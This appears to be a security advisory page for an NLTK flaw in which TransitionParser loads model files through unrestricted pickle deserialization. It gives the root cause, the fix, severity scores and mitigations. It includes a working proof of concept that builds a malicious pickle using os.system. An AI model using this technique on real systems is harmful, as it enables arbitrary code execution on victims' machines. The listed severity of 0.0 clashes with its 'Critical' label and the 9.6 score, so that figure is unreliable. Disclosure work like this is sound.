GHSA-rhp5-r9x4-f5g2 CVE-2026-78683 PYSEC-2026-3734
NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.51%
- Chance of exploitation in the next 30 days. Higher than 43.57% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-502 Deserialization of Untrusted Data
- Fix
3.10.0- Upgrade nltk to this version or later
Description
Summary
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
Root Cause
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
def pickle_load(file, *, context=None, restricted=False):
if restricted:
return RestrictedUnpickler(file).load() # Safe: blocks all globals
return WarningUnpickler(file, context=context).load() # VULNERABLE PATH
WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design:
- NLTK intentionally created
RestrictedUnpicklerto block unsafe deserialization - The
restricted=Trueparameter exists in the API but is never used by any production code path - All call sites use the default
restricted=False:transitionparser.py:557,parse/chartparser_app.py:816,parse/chartparser_app.py:2273,parse/chartparser_app.py:2311
Attack Surface
Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path:
- Attacker places a malicious pickle file at a known or attacker-controlled location
- Victim calls
parser.parse(sentences, "/path/to/malicious_model.pkl") pickle_load()deserializes the file withrestricted=False(default)- Standard pickle gadget chain executes arbitrary Python code with victim's privileges
Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
Steps to Reproduce
Environment
- NLTK version: 3.8.1+ (all versions with
transitionparser.py) - Python 3.6+
- No special dependencies required
Reproduction
-
Create a malicious pickle file that uses
__reduce__to execute a system command during deserialization. -
Call
TransitionParser().parse([], '/path/to/malicious_model.pkl'). -
The
pickle_load(f)call attransitionparser.py:557usesrestricted=Falseby default, routing throughWarningUnpickler, which does not overridefind_class()and permits full class resolution — executing the embedded gadget. -
Arbitrary code executes with the victim's privileges.
Proof That the Fix Works
Changing line 557 in transitionparser.py from:
model = pickle_load(f)
to:
model = pickle_load(f, restricted=True)
causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
Working PoC
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Create malicious pickle with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
# Exploit succeeds: file /tmp/nltk_poc_triggered is created
On NLTK ≥ 3.10.0 (patched), the same code fails with:
_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist
This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Recommended Fix
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py |
557 | pickle_load(f) |
pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py |
816 | pickle_load(model_data_file) |
pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py |
2273 | pickle_load(file) |
pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py |
2311 | pickle_load(fp) |
pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| nltk | < 3.10.0 |
3.10.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
nltk PyPI → 3.10.0
- pip
pip install --upgrade "nltk>=3.10.0"- poetry
poetry add "nltk>=3.10.0"- uv
uv add "nltk>=3.10.0"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
CVSS 3.1 9.6
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-502: Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
How to prevent it
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
- Implementation: Explicitly define a final object() to prevent deserialization.
- Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
- Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
- Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
References
Advisories
Packages
Other links
- github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2
- github.com/nltk/nltk/pull/3631
- github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c
- github.com/nltk/nltk/releases/tag/v3.10.0
- github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml
- vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deser…
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-j456-xh4h-cpf2 NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment | High | Also affects nltk |
| GHSA-ff5c-cp5c-9wjf NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars | Medium | Also affects nltk |
| GHSA-f794-5jv7-7672 NLTK: Downloader.download follows hardlinks and overwrites outside-root files | High | Also affects nltk |
| GHSA-8mgp-746c-j5xp NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots | High | Also affects nltk |
| GHSA-8mpw-7fpc-4gqj NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks | Low | Also affects nltk |
| GHSA-cw6x-m8jw-qmrh NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input | Medium | Also affects nltk |
| GHSA-vp2x-qp44-57v7 NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()` | Low | Also affects nltk |
| GHSA-ww6m-cw3f-q94g NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y' | High | Also affects nltk |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor